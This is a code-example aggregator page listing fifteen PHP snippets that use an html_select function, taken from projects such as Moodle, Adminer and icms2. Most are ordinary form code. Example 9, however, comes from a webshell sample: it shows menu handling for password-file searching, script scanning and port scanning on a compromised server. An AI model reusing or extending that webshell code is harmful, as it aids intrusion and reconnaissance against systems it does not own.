当前位置: 首页>>代码示例>>PHP>>正文


PHP html_select函数代码示例

本文整理汇总了PHP中html_select函数的典型用法代码示例。如果您正苦于以下问题:PHP html_select函数的具体用法?PHP html_select怎么用?PHP html_select使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了html_select函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: display_add_field

 function display_add_field($recordid = 0)
 {
     global $CFG, $DB, $OUTPUT;
     $text = '';
     $format = 0;
     if ($recordid) {
         if ($content = $DB->get_record('data_content', array('fieldid' => $this->field->id, 'recordid' => $recordid))) {
             $text = $content->content;
             $format = $content->content1;
         }
     }
     $str = '<div title="' . $this->field->description . '">';
     if (can_use_html_editor()) {
         // Show a rich text html editor.
         $str .= $this->gen_textarea(true, $text);
         $str .= $OUTPUT->help_icon(moodle_help_icon::make("richtext2", get_string("helprichtext"), 'moodle', true));
         $str .= '<input type="hidden" name="field_' . $this->field->id . '_content1' . '" value="' . FORMAT_HTML . '" />';
     } else {
         // Show a normal textarea. Also let the user specify the format to be used.
         $str .= $this->gen_textarea(false, $text);
         // Get the available text formats for this field.
         $formatsForField = format_text_menu();
         $str .= '<br />';
         $select = html_select($formatsForField, 'field_' . $this->field->id . '_content1', $format);
         $select->nothingvalue = '';
         $str .= $OUTPUT->select($select);
         $str .= $OUTPUT->help_icon(moodle_help_icon::make('textformat', get_string('helpformatting'), 'moodle'));
     }
     $str .= '</div>';
     return $str;
 }
开发者ID:ajv,项目名称:Offline-Caching,代码行数:31,代码来源:field.class.php

示例2: switch_lang

function switch_lang()
{
    global $LANG, $langs;
    echo "<form action=''>\n<div id='lang'>";
    hidden_fields($_GET, array('lang'));
    echo lang('Language') . ": " . html_select("lang", $langs, $LANG, "var loc = location.search.replace(/[?&]lang=[^&]*/, ''); location.search = loc + (loc ? '&' : '') + 'lang=' + this.value;");
    echo " <input type='submit' value='" . lang('Use') . "' class='hidden'>\n";
    echo "</div>\n</form>\n";
}
开发者ID:nishant368,项目名称:newlifeoffice-new,代码行数:9,代码来源:lang.inc.php

示例3: switch_lang

function switch_lang()
{
    global $LANG, $langs, $token;
    echo "<form action='' method='post'>\n<div id='lang'>";
    echo lang('Language') . ": " . html_select("lang", $langs, $LANG, "this.form.submit();");
    echo " <input type='submit' value='" . lang('Use') . "' class='hidden'>\n";
    echo "<input type='hidden' name='token' value='{$token}'>\n";
    echo "</div>\n</form>\n";
}
开发者ID:acepsaepudin,项目名称:adminer,代码行数:9,代码来源:lang.inc.php

示例4: switch_lang

function switch_lang()
{
    //Presenta la lista de seleccion de idiomas
    global $LANG, $langs;
    echo "<form action='' method='post'>\n\n\t\t<div id='lang'>\n\t\t\t<div class='input-group'>\n\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t<i class='fa fa-language'></i> ";
    echo lang('Language') . "\n\t\t\t\t</span>\n\t\t\t" . html_select("lang", $langs, $LANG, "this.form.submit();", "btn-default btn-xs");
    echo " <input type='submit' value='" . lang('Use') . "' class='hidden'>\n";
    echo "<input type='hidden' name='token' value='" . get_token() . "'>\n";
    // $token may be empty in auth.inc.php
    echo "</div>\n\n\t\t</div>\n\t\t</form>\n";
}
开发者ID:unix4you2,项目名称:pmydb,代码行数:11,代码来源:lang.inc.php

示例5: getFilterInput

 public function getFilterInput($value)
 {
     $items = $this->getListItems();
     if (!$this->getOption('filter_multiple')) {
         $items = array('' => '') + $items;
         // array_pad($items, (sizeof($items)+1)*-1, '');
         return html_select($this->name, $items, $value);
     } else {
         $value = is_array($value) ? $value : array();
         return html_select_multiple($this->name, $items, $value);
     }
 }
开发者ID:uralmax89,项目名称:icms2,代码行数:12,代码来源:list.php

示例6: selectEmailPrint

 function selectEmailPrint($emailFields, $columns)
 {
     if ($emailFields) {
         print_fieldset("email", 'E-mail');
         echo "<div onkeydown=\"eventStop(event); return bodyKeydown(event, 'email');\">\n";
         echo "<p>" . 'From' . ": <input name='email_from' value='" . h($_POST ? $_POST["email_from"] : $_COOKIE["adminer_email"]) . "'>\n";
         echo 'Subject' . ": <select name='email_id'><option>" . optionlist(get_key_vals("SELECT {$this->id}, {$this->title} FROM {$this->table} ORDER BY {$this->title}"), $_POST["email_id"], true) . "</select>\n";
         echo "<p>" . 'Attachments' . ": <input type='file' name='email_files[]' onchange=\"this.onchange = function () { }; var el = this.cloneNode(true); el.value = ''; this.parentNode.appendChild(el);\">";
         echo "<p>" . (count($emailFields) == 1 ? '<input type="hidden" name="email_field" value="' . h(key($emailFields)) . '">' : html_select("email_field", $emailFields));
         echo "<input type='submit' name='email' value='" . 'Send' . "' onclick=\"return this.form['delete'].onclick();\">\n";
         echo "</div>\n";
         echo "</div></fieldset>\n";
         return true;
     }
 }
开发者ID:ly95,项目名称:adminer,代码行数:15,代码来源:email-table.php

示例7: dataERP

function dataERP($params)
{
    global $sugar_config, $mod_strings;
    require $sugar_config['path_parametros'] . "param_criterio_cotizacion.php";
    require_once "custom/opalo/lib/ERP/Utils.php";
    require_once "custom/opalo/lib/Utils.php";
    $account_field = isset($params['account_field']) ? $params['account_field'] : "account_id";
    //Campo para obtener el id del cliente
    $parametros = array(array('etiqueta' => 'LBL_REFERENCIA', 'html' => inputHtml('referencia', '', 'form-control')), array('etiqueta' => 'LBL_DESCRIPCION', 'html' => inputHtml('descripcion', '', 'form-control')));
    $js_params = array('referencia', 'descripcion');
    foreach ($criterio_cotizacion as $id_plan => $etiqueta) {
        $parametros[] = array('etiqueta' => $etiqueta, 'html' => html_select("criterios[{$id_plan}]", getCriterios($id_plan), '', false, 'form-control', true));
        $js_params[] = "criterios\\[{$id_plan}\\]";
    }
    $num_col = 6;
    $css = array("custom/opalo/Vendor/datatables/css/jquery.dataTables.css");
    $html .= "";
    foreach ($css as $incluir) {
        $html .= '<link rel="stylesheet" type="text/css" href="' . $incluir . '" />';
    }
    $html .= "<div class='panel panel-primary'>";
    $html .= "<div class='panel-heading'>\n              <h3 class='panel-title'>\n                Items ERP &nbsp;&nbsp;<a data-toggle='collapse' href='#wp_erp' class='btn_switch_panel'><span class='caret'></span></a> \n                <button type='button' class='close' aria-hidden='true'>&times;</button>\n              </h3>\n            </div>";
    $html .= "<div class='panel-body'>";
    $html .= "<div id='wp_erp' class='collapse text-center'>";
    $html .= "<div class='wp_filters row'>";
    while (count($parametros) > 0) {
        for ($contador = 0; $contador < $num_col; $contador++) {
            $porc = 100 / ($num_col * 2);
            $data = array_shift($parametros);
            $label = $data['etiqueta'];
            if (isset($mod_strings[$data['etiqueta']])) {
                $label = $mod_strings[$data['etiqueta']];
            }
            $html .= "<div class='col-md-3 form-group'><label>" . $label . "</label>" . $data['html'] . "</div>";
        }
    }
    $html .= "</div><br/>";
    $html .= "<a href='#' class='btn btn-primary btn-lg' onclick='post_to_html(" . json_encode($js_params) . ",\"resultados_items\",\"{$account_field}\",\"ajax_items_erp\"); return false;'>Filtrar</a><br/><br/>";
    $html .= "<div id='resultados_items'></div>";
    $html .= "</div>";
    //.wp_erp
    $html .= "</div>";
    //.content
    $html .= "</div>";
    //.panel
    $html .= "<script type='text/javascript'>\n              post_to_html(" . json_encode($js_params) . ",\"resultados_items\",\"{$account_field}\",\"ajax_items_erp\")\n            </script>";
    return $html;
}
开发者ID:juanOspina13,项目名称:SRX,代码行数:48,代码来源:function.opalo_cotizador.php

示例8: loginForm

        public function loginForm()
        {
            $drivers = array('server' => 'MySQL');
            ?>
			<table cellspacing="0">
				<tr><th>Systém<td><?php 
            echo html_select("driver", $drivers, DRIVER);
            ?>
				<tr><th>Uživatel<td><input type="text" name="username" id="username" value="<?php 
            echo h($_GET["username"]);
            ?>
">
				<tr><th>Heslo<td><input type="password" name="password" id="password">
			</table>
			<input name="server" type="hidden" value="localhost">
			<script type="text/javascript">
				document.getElementById('username').focus();
			</script>
			<p><input type="submit" value="Přihlásit">
<?php 
            echo checkbox("permanent", 1, $_COOKIE["adminer_permanent"], 'Trvalé přihlášení') . "\n";
        }
开发者ID:JakubMarden,项目名称:eshop,代码行数:22,代码来源:index.php

示例9: html_n

     html_n('</td></tr></form>');
     if (!empty($_POST['path'])) {
         html_n('<tr><td>找到文件:<br><br>');
         if (isset($_POST['pass'])) {
             $bool = true;
         } else {
             $bool = false;
         }
         do_passreturn($_POST['path'], $_POST['code'], $_POST['return'], $bool);
     }
     break;
 case "scanphp":
     html_n('<tr><td>原理是根据特征码定义的,请查看代码判断后再进行删除.<form method="POST"><br>');
     html_input("text", "path", root_dir, "查找范围", "40");
     html_input("checkbox", "pass", "", "使用目录遍历<br><br>脚本类型", "", true);
     html_select(array("php" => "PHP", "asp" => "ASP", "aspx" => "ASPX", "jsp" => "JSP"));
     html_input("submit", "passreturn", "查找", "<br><br>");
     html_n('</td></tr></form>');
     if (!empty($_POST['path'])) {
         html_n('<tr><td>找到文件:<br><br>');
         if (isset($_POST['pass'])) {
             $bool = true;
         } else {
             $bool = false;
         }
         do_passreturn($_POST['path'], $_POST['class'], "scanphp", $bool);
     }
     break;
 case "port":
     $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1';
     $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958|5631';
开发者ID:yulb2020,项目名称:webshellSample,代码行数:31,代码来源:29c607c65dee7ee1e35497b59757a091.php

示例10: formChecked

 : formChecked(this, /check/)) + ')');">
</div></fieldset>
<?php 
            }
            $format = $adminer->dumpFormat();
            if ($format) {
                print_fieldset("export", lang('Export'));
                $output = $adminer->dumpOutput();
                echo $output ? html_select("output", $output, $adminer_import["output"]) . " " : "";
                echo html_select("format", $format, $adminer_import["format"]);
                echo " <input type='submit' name='export' value='" . lang('Export') . "'>\n";
                echo "</div></fieldset>\n";
            }
        }
        if ($adminer->selectImportPrint()) {
            print_fieldset("import", lang('Import'), !$rows);
            echo "<input type='file' name='csv_file'> ";
            echo html_select("separator", array("csv" => "CSV,", "csv;" => "CSV;", "tsv" => "TSV"), $adminer_import["format"], 1);
            // 1 - select
            echo " <input type='submit' name='import' value='" . lang('Import') . "'>";
            echo "<input type='hidden' name='token' value='{$token}'>\n";
            echo "</div></fieldset>\n";
        }
        $adminer->selectEmailPrint(array_filter($email_fields, 'strlen'), $columns);
        echo "</form>\n";
    }
}
if (is_ajax()) {
    ob_end_clean();
    exit;
}
开发者ID:olien,项目名称:mysql_tools,代码行数:31,代码来源:select.inc.php

示例11: format_time

 $result = $connection->store_result();
 $time = " <span class='time'>(" . format_time($start) . ")</span>" . (strlen($q) < 1000 ? " <a href='" . h(ME) . "sql=" . urlencode(trim($q)) . "'>" . lang('Edit') . "</a>" : "");
 if ($connection->error) {
     echo $_POST["only_errors"] ? $print : "";
     echo "<p class='error'>" . lang('Error in query') . ($connection->errno ? " ({$connection->errno})" : "") . ": " . error() . "\n";
     $errors[] = " <a href='#sql-{$commands}'>{$commands}</a>";
     if ($_POST["error_stops"]) {
         break 2;
     }
 } elseif (is_object($result)) {
     $orgtables = select($result, $connection2);
     if (!$_POST["only_errors"]) {
         echo "<form action='' method='post'>\n";
         echo "<p>" . ($result->num_rows ? lang('%d row(s)', $result->num_rows) : "") . $time;
         $id = "export-{$commands}";
         $export = ", <a href='#{$id}' onclick=\"return !toggle('{$id}');\">" . lang('Export') . "</a><span id='{$id}' class='hidden'>: " . html_select("output", $adminer->dumpOutput(), $adminer_export["output"]) . " " . html_select("format", $dump_format, $adminer_export["format"]) . "<input type='hidden' name='query' value='" . h($q) . "'>" . " <input type='submit' name='export' value='" . lang('Export') . "'><input type='hidden' name='token' value='{$token}'></span>\n";
         if ($connection2 && preg_match("~^({$space}|\\()*SELECT\\b~isU", $q) && ($explain = explain($connection2, $q))) {
             $id = "explain-{$commands}";
             echo ", <a href='#{$id}' onclick=\"return !toggle('{$id}');\">EXPLAIN</a>{$export}";
             echo "<div id='{$id}' class='hidden'>\n";
             select($explain, $connection2, $orgtables);
             echo "</div>\n";
         } else {
             echo $export;
         }
         echo "</form>\n";
     }
 } else {
     if (preg_match("~^{$space}*(CREATE|DROP|ALTER){$space}+(DATABASE|SCHEMA)\\b~isU", $q)) {
         restart_session();
         set_session("dbs", null);
开发者ID:umairriaz90,项目名称:Daschug1,代码行数:31,代码来源:sql.inc.php

示例12: html_checkbox

                                <td class="center">
                                    <?php 
            if ($rule['type'] == 'flag') {
                ?>
                                        <?php 
                echo html_checkbox("value[{$rule['id']}][{$subject['name']}]", $default);
                ?>
                                    <?php 
            }
            ?>
                                    <?php 
            if ($rule['type'] == 'list') {
                ?>
                                        <?php 
                echo html_select("value[{$rule['id']}][{$subject['name']}]", $rule['options'], $default);
                ?>
                                    <?php 
            }
            ?>
                                    <?php 
            if ($rule['type'] == 'number') {
                ?>
                                    <?php 
                echo html_input('text', "value[{$rule['id']}][{$subject['name']}]", $default, array('class' => 'input-number'));
                ?>
                                <?php 
            }
            ?>
                                </td>
开发者ID:Val-Git,项目名称:icms2,代码行数:29,代码来源:users_group_perms.tpl.php

示例13: lang

echo lang('Time');
?>
<td><?php 
echo html_select("Timing", $trigger_options["Timing"], $row["Timing"], "if (/^" . preg_quote($TABLE, "/") . "_[ba][iud]\$/.test(this.form['Trigger'].value)) this.form['Trigger'].value = '" . js_escape($TABLE) . "_' + selectValue(this).charAt(0).toLowerCase() + selectValue(this.form['Event']).charAt(0).toLowerCase();");
?>
<tr><th><?php 
echo lang('Event');
?>
<td><?php 
echo html_select("Event", $trigger_event, $row["Event"], "this.form['Timing'].onchange();");
?>
<tr><th><?php 
echo lang('Type');
?>
<td><?php 
echo html_select("Type", $trigger_options["Type"], $row["Type"]);
?>
</table>
<p><?php 
echo lang('Name');
?>
: <input name="Trigger" value="<?php 
echo h($row["Trigger"]);
?>
" maxlength="64">
<p><?php 
textarea("Statement", $row["Statement"]);
?>
<p>
<input type="submit" value="<?php 
echo lang('Save');
开发者ID:acepsaepudin,项目名称:adminer,代码行数:31,代码来源:trigger.inc.php

示例14: href_to

?>
</h1>

<div id="search_form">
    <form action="<?php 
echo href_to('search');
?>
" method="get">
        <?php 
echo html_input('text', 'q', $query, array('placeholder' => LANG_SEARCH_QUERY_INPUT));
?>
        <?php 
echo html_select('type', array('words' => LANG_SEARCH_TYPE_WORDS, 'exact' => LANG_SEARCH_TYPE_EXACT), $type);
?>
        <?php 
echo html_select('date', array('all' => LANG_SEARCH_DATES_ALL, 'w' => LANG_SEARCH_DATES_W, 'm' => LANG_SEARCH_DATES_M, 'y' => LANG_SEARCH_DATES_Y), $date);
?>
        <?php 
echo html_submit(LANG_FIND);
?>
    </form>
</div>

<?php 
if ($query && empty($search_data)) {
    ?>
    <p id="search_no_results"><?php 
    echo LANG_SEARCH_NO_RESULTS;
    ?>
</p>
<?php 
开发者ID:Val-Git,项目名称:icms2,代码行数:31,代码来源:index.tpl.php

示例15: lang

     echo "<tr><td>&nbsp;<th>" . lang('%d in total', count($tables_list));
     echo "<td>" . nbsp($jush == "sql" ? $connection->result("SELECT @@storage_engine") : "");
     echo "<td>" . nbsp(db_collation(DB, collations()));
     foreach (array("Data_length", "Index_length", "Data_free") as $key) {
         echo "<td align='right' id='sum-{$key}'>&nbsp;";
     }
     echo "</table>\n";
     if (!information_schema(DB)) {
         $vacuum = "<input type='submit' value='" . lang('Vacuum') . "'" . on_help("'VACUUM'") . "> ";
         $optimize = "<input type='submit' name='optimize' value='" . lang('Optimize') . "'" . on_help($jush == "sql" ? "'OPTIMIZE TABLE'" : "'VACUUM OPTIMIZE'") . "> ";
         echo "<fieldset><legend>" . lang('Selected') . " <span id='selected'></span></legend><div>" . ($jush == "sqlite" ? $vacuum : ($jush == "pgsql" ? $vacuum . $optimize : ($jush == "sql" ? "<input type='submit' value='" . lang('Analyze') . "'" . on_help("'ANALYZE TABLE'") . "> " . $optimize . "<input type='submit' name='check' value='" . lang('Check') . "'" . on_help("'CHECK TABLE'") . "> " . "<input type='submit' name='repair' value='" . lang('Repair') . "'" . on_help("'REPAIR TABLE'") . "> " : ""))) . "<input type='submit' name='truncate' value='" . lang('Truncate') . "'" . confirm() . on_help($jush == "sqlite" ? "'DELETE'" : "'TRUNCATE" . ($jush == "pgsql" ? "'" : " TABLE'")) . "> " . "<input type='submit' name='drop' value='" . lang('Drop') . "'" . confirm() . on_help("'DROP TABLE'") . ">\n";
         $databases = support("scheme") ? $adminer->schemas() : $adminer->databases();
         if (count($databases) != 1 && $jush != "sqlite") {
             $db = isset($_POST["target"]) ? $_POST["target"] : (support("scheme") ? $_GET["ns"] : DB);
             echo "<p>" . lang('Move to other database') . ": ";
             echo $databases ? html_select("target", $databases, $db) : '<input name="target" value="' . h($db) . '" autocapitalize="off">';
             echo " <input type='submit' name='move' value='" . lang('Move') . "'>";
             echo support("copy") ? " <input type='submit' name='copy' value='" . lang('Copy') . "'>" : "";
             echo "\n";
         }
         echo "<input type='hidden' name='all' value='' onclick=\"selectCount('selected', formChecked(this, /^(tables|views)\\[/));" . (support("table") ? " selectCount('selected2', formChecked(this, /^tables\\[/) || {$tables});" : "") . "\">\n";
         // used by trCheck()
         echo "<input type='hidden' name='token' value='{$token}'>\n";
         echo "</div></fieldset>\n";
     }
     echo "</form>\n";
     echo "<script type='text/javascript'>tableCheck();</script>\n";
 }
 echo '<p class="links"><a href="' . h(ME) . 'create=">' . lang('Create table') . "</a>\n";
 echo support("view") ? '<a href="' . h(ME) . 'view=">' . lang('Create view') . "</a>\n" : "";
 echo support("materializedview") ? '<a href="' . h(ME) . 'view=&amp;materialized=1">' . lang('Create materialized view') . "</a>\n" : "";
开发者ID:mbezhanov,项目名称:adminer,代码行数:31,代码来源:db.inc.php


注:本文中的html_select函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。